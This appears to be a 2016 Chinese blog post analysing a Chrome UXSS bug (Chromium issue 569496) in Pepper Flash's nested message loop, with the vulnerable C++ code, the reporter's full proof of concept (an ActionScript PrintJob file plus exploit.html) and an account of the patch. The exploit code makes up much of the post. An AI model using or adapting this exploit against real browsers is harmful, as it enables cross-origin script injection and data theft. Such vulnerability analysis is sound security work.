编号569496的UXSS漏洞分析

价值7500美刀的UXSS

Posted by dogewatch on November 24, 2016

想挖UXSS

前言

之前在《那些年搞过的两个浏览器》中用到了一个价值7500美刀的chrome的UXSS漏洞,这两天刚好看到有人给出了一篇分析报告,于是想着再把这个洞好好看一看,留个笔记以备日后所需。

正文

先给出漏洞地址:https://bugs.chromium.org/p/chromium/issues/detail?id=569496

影响版本是

Chrome 47.0.2526.80 (Stable)
Chrome 48.0.2564.41 (Beta)
Chrome 49.0.2587.3 (Dev)
Chromium 49.0.2591.0 + Pepper Flash (Release build compiled today)

漏洞作者给出了造成该漏洞的代码段,位于/content/renderer/pepper/ppb_flash_message_loop_impl.cc

int32_t PPB_Flash_MessageLoop_Impl::InternalRun(
    const RunFromHostProxyCallback& callback) {
(...)
  // It is possible that the PPB_Flash_MessageLoop_Impl object has been
  // destroyed when the nested message loop exits.
  scoped_refptr<State> state_protector(state_);
  {
    base::MessageLoop::ScopedNestableTaskAllower allow(
        base::MessageLoop::current());
    base::MessageLoop::current()->Run();
  }
(...)
}

造成该漏洞的原因大致是因为PPB_Flash_MessageLoop_Impl::InternalRun这个函数在执行一个嵌套的消息循环时,没有初始化一个ScopedPageLoadDeferrer,即推迟加载脚本,导致在这个循环内能够加载来自任意域的脚本文件。

作者提供了一个EXP,里面包含了4个文件,其中起主要作用的是p.as和exploit.html。

p.as

package {
  import flash.display.*;
  import flash.external.*;
  import flash.printing.*;
  public class p extends Sprite {
    public function f():void {
      new PrintJob().start();
    }
    public function p():void {
      ExternalInterface.addCallback('f', f);
      ExternalInterface.call('top.cp');
    }
  }
}

exploit.html

<script>
var c0 = 0;
var c1 = 0;
var fs = [];

function cp() {
  ++c0;
}

for (var a = 0; a < 10; a++) {
  var i = document.documentElement.appendChild(document.createElement('iframe'));
  i.src = 'p.swf';
  fs.push(i);
}

function ml() {
  var pw = fs.pop().contentWindow;
  pw.name = 'p' + fs.length;
  pw.document.querySelector('embed').f();
  var a = document.createElement('a');
  a.href = 'about:blank';
  a.target = 'p' + fs.length;
  a.click();
  if (fs.length < 6) {
    var then = Date.now();
    while (Date.now() - then < 1000) {}
  }
}

function f() {
  if (++c1 == 2) {
    var x1 = x.contentWindow[0].frameElement.nextSibling;
    x1.src = 'https://abc.xyz';
    try {
      while (x1.contentDocument) { ml(); }
    } catch(e) {
      x1.src = 'javascript:if(location!="about:blank")alert(location)';
    }
  }
}

function c() {
  if (c0 == 10) {
    clearInterval(t);
    x = document.documentElement.appendChild(document.createElement('iframe'));
    x.src = 'f.html';
  }
}

var t = setInterval(c, 100);
</script>

其主要原理是创建多个源为flash文件的iframe,然后调用as脚本开启打印任务。这时chrome将调用前面提到的PPB_Flash_MessageLoop_Impl::InternalRun方法,在主线程中运行一个messageloop,因为这个方法没有设置ScopedPageLoadDeferrer来推迟加载从而导致嵌套的MessageLoop在循环时能够回调脚本并加载任意资源从而造成了UXSS漏洞。

通过官方修补补丁可以更容易了解这个漏洞的成因

img

可以看到在循环前后分别调用了blink::WebView::willEnterModalLoop()blink::WebView::didExitModalLoop()两个方法,在third_party/WebKit/public/web/WebView.h中可以看到

// Call these methods before and after running a nested, modal event loop
// to suspend script callbacks and resource loads.
BLINK_EXPORT static void willEnterModalLoop();
BLINK_EXPORT static void didExitModalLoop();

根据注释可以看到修复的思路就是在执行一个嵌套的循环事件前后通过这两个方法来阻止脚本回调和资源的加载。

具体利用效果可以参考前面提到的两个浏览器漏洞里的百度浏览器那一部分。